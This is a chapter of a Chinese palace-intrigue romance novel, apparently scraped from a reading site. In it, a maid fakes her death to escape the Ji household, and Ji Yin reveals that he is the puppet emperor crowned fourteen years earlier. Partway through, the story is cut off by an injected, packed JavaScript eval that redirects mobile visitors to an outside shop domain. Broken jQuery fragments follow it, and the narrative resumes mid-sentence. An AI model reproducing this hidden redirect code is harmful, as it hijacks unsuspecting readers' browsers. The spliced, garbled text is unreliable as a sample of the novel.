44. 天水
作品:《当来自未来的穿越者说我命定败亡,我偏称帝》 “前家主纪述因勾结胡人而亡,少夫人,你以为,纪述为什么会这么快被放弃?”
江肆开口道:“因为他们有旁的人选,而这个旁的人选便是纪肃慎。”说到这里,江肆落在子豫脸上的目光带着审视,“你现在告诉我这些,可是已经能够确定纪肃慎身边的艾水和胡人的关系了?”
子豫笑了一声,“少夫人,您和三公子一起找了这么久都找不着的东西,奴婢怎么会找得到,奴婢只是想给您一个提醒。”
“什么?”
子豫开口道:“在您嫁入天水之前,大公子身边的小厮,也就是艾水,每月里总会有一天消失不见。”
“消失不见?”江肆开口道:“或许是她出去办事呢。”
子豫闻言摇头,“不,奴婢很确定,往往艾水消失的那一天,大公子也会给她遮掩一番,少夫人若是信我,不妨趁此机会将大公子和艾水盯住。”
江肆:“我知道了,这件事我会去查,你的病瞒不了多久,这是闭气之药,服下它,十二个时辰内你会和死人无异。”
子豫没有丝毫犹豫,接过江肆手中的瓶子,仰头服下,闭眼之前,轻声叹息道:“少夫人,您对奴婢的恩情,奴婢一直都记得,今时今日的选择,是奴婢没有福气。”
江肆没有说话,此一别,身份地位的距离,天南海北之隔,两人或许再也没有见面的机会了,“好好活着。”
子豫闭眼的那一刻,只听到江肆留下的这四个字,嘴角缓缓勾起,她会的,她一定会好好活着。
恰在此刻,画界带着人来到子豫房中。
“少夫人。”画界微微伏身,目光落在床榻上已经没了动静的子豫身上,“听闻子豫姑娘病了,老夫人特意着奴婢请了大夫。”
说着,画界给身后的老大夫使了个眼色,“去,给姑娘诊治诊治。”
江肆将人拦下,微微垂眸,“劳烦老夫人挂心,子豫已经……”
说到这里,江肆的声音略微哽咽,叹了口气,“子豫的事情就不劳烦画界姑娘和老夫人费心了,她怎么说也跟在我身边一年多了,这最后一程,我怎么也该送一送。”
“少夫人节哀,只是府中规矩,府医验过之后,才能下葬。”
江肆点头,“既如此,画界姑娘请便。”
一直跟在画界身后的老大夫岣嵝着腰缓步上前,片刻过后,冲着画界微微摇头。
画界皱眉,子豫的死未免也太过突然,之前子豫一直跟在老夫人身边的时候,也未见她的身体有什么不同寻常的地方,怎么偏偏是在这个时候,子豫就病死了呢。
画界心中疑虑重重,面上未动声色,转头道:“你们几个留下,帮着少夫人一起处理子豫姑娘的后事。”
话罢,画界看向江肆,“少夫人院子里的人手不多,让这几个丫头留下来,若是能帮得上忙那是再好不过。”
江肆点头,看着画界离开的背影,若有所思。
当日在粮庄门口得到的那一张羊皮卷她看过,上面第一个名字就是画界的名字,也正是因为看到了画界的名字,她一眼便确定了那张名单真假参半。
可,为什么画界的名字会放在第一个位置呢,而老夫人却对画界似乎丝毫未曾怀疑。
据子章所说,当日那张名单一经带回,便被老夫人在大庭广众之下付之一炬,名为不留腌臜之物,实际上,却是对画界的保护。
能得老夫人如此重视,这个画界恐怕不一般呐。
想到这里,江肆心中叹气,一个纪隐就深不见底了,现在又来一个画界,这天水纪府,还真是卧虎藏龙啊。
夜间。
“阿肆在想什么?”纪隐低垂着眸子,映着烛光的眸子落在江肆身上,柔软而深情,环抱着梳妆台前的江肆,铜镜中清晰地照着两人此刻的姿态,交颈纠缠,难以割舍。
江肆抬头,忽然开口道:“那位帝师,是个什么样的人呢。”
隔着铜镜,两人的视线重合在一处,纪隐埋首在江肆的颈窝,轻笑一声,“我还以为阿肆不会问呢。”
江肆没说话,任凭纪隐的鼻尖擦过锁骨,激起浑身颤憟,“我的身份,是安弥山告诉你的吧。”
“为什么这么说?”纪隐没有抬头,热气喷洒在江肆的肌肤,一寸一寸吻过自己的领土。
江肆咽下溢出唇边的喘息,“你是什么时候开始怀疑我的?”
江肆没有说的是,安弥山和阿爹显然是旧识,而纪隐却能让安弥山和他吐露关于自己的事情,那这个人和阿爹必然也关系匪浅。
纪隐的指尖漫过层层遮挡,“从你咬牙受下纪肃慎的折磨,却仍旧留了下来这一件事,不止我,便是老夫人也能够察觉到你的不同,毕竟,世家大族养不出这么硬的骨头。”
原来是这样吗,江肆眼尾泛红,抓住纪隐的手腕,“你和安弥山是什么关系?”
纪隐停下动作,望向江肆的目光幽暗深沉,“阿肆问了这么多,我可都如实相告了,但,我却什么都没有得到,阿肆不觉得太不公平了吗?”
江肆得以喘息,混乱的大脑也有了思考的空间,“你,是王室中人吧。”
纪隐这次没有说话,有心等待江肆的下文。
江肆却不打算再开口了。
两人僵持片刻,纪隐笑了一声,“阿肆若是再不开口,为夫可就要忍不住了。”
“你。”江肆不能理解,为什么再这个时候,这人还有时间想这种事情。
“我知道你也在调查十四年前的事情,我这里有一条线索,我们可以共享一下。”江肆眼见纪隐手腕微动,急忙开口道。
纪隐却道:“不急,你我有的是时间,不急于这一刻。”
后面的话纪隐不容江肆再开口,梳妆台上稀里哗啦的声音落在守在门口的子章耳中,子章忍不住深吸一口气,默默抬脚微微远离门口,却又保持在能够听得见动静的距离。
叹了口气,子章看着满天繁星,其实她一直不是很明白,子豫为什么会想要离开纪府,甚至不惜用死亡为代价。
两人虽然在一处共事许多年,但对子豫这个人,子章觉得自己看她,仿佛隔着一层雾,不,按照子豫的话说,她不是看她隔着一层雾,而是隔着一层智商。
子豫啊子豫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975436|192302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,希望你来世能够得偿所愿。
伴随着屋内的动静渐渐褪去,纪隐这时也有了心思问江肆口中的线索是什么了。
“阿肆怎么对十四年前的事情感兴趣了?”
江肆脸上的情潮还未褪去,轻声道:“你既然已经从安弥山那里知道了我的身份,便应当明白,我对十四年前的事情感兴趣才是理所应当。”
这次纪隐没再反驳,开口道:“十四年前的事情,除了三大世家的当家人,知道实情的人,早已经死绝了。”
江肆闻言皱眉,死绝了吗?那左丘之怎么说?
纪隐察觉到江肆心中所想,“如今的天水总兵是左丘之的父亲,是当年左家军率军赶往北方支援之际,留给自己的退路,十四年过去,左丘之或许掌握了什么了不得的证据,也或许是借此诈你出山,以此查清当年左家军覆灭北方一事。”
在江肆的观念里,既然是战场,必然会有军人殒命,全军覆灭难道不应该是找胡人吗?为什么左丘之会在天水调查?
既然想到了这里,江肆便顺势问了。
纪隐的目光望向窗外,“是啊,这只能说明天水藏着的东西太多了,只有挖出这些被深埋的记忆,才有可能真正地看清楚十四年前发生的事情,真正意义上终结这样的乱世。”
不知道为什么,江肆忽然很想抱抱此刻的纪隐,眨了眨眼睛,压制住这种诡异的念头。
这一次,纪隐将怀中的江肆抱紧,却再没有多余的动作,只一字一句轻声道:“其实你早在当初安弥山自焚的时候就已经猜到了我的身份了吧,我很高兴你能在这个时候亲自问我。”
“你猜的没错,我确实是王室中人,也正是因为如此,安弥山才会将你的身份告知于我,当然,安弥山透露你的信息,除了我出身王室,还有一个重要原因,那便是,我的老师,便是你口中的阿爹。”
说到这里,纪隐停了片刻,留给江肆思考的时间。
江肆确实有些没反应过来,阿爹的身份是帝师,什么人能够称帝师为老师,“你是……”
纪隐苦笑一声,“十四年前,我是站在北方残破的城墙上登基的,我本以为自己会血撒城墙,却不想,只是那群人为了争权夺利推上龙椅的一个傀儡罢了,连生死都由不得自己。”
江肆轻轻拍了拍纪隐的后背。
“阿肆会不会觉得我很没用,守不了百姓,治不了群臣,便是现在也只能龟缩在天水和一个世家周旋。”
江肆心中大为怜惜,轻声道:“你已经做得很好了,十四年前,你不过十岁,却已有殉国之志,群臣不受管束是群臣失德,百姓流离于乱世是胡人残忍,你不过十岁,没有军队,没有可用之臣,能够支撑到今日,已然足够优秀。”
纪隐原本的心思是想借着此次坦白身份,让两人的关系更进一步,但不知为何,眼前红唇一张一合,原本那些设计好的煽情告白,他一个字都说不出口。
心口酸软的厉害,汹涌而来的情绪几乎要将他淹没,现在的他急需找一个出口。
此时的江肆还在绞尽脑汁地想,要怎么去安慰这个少年帝王呢。

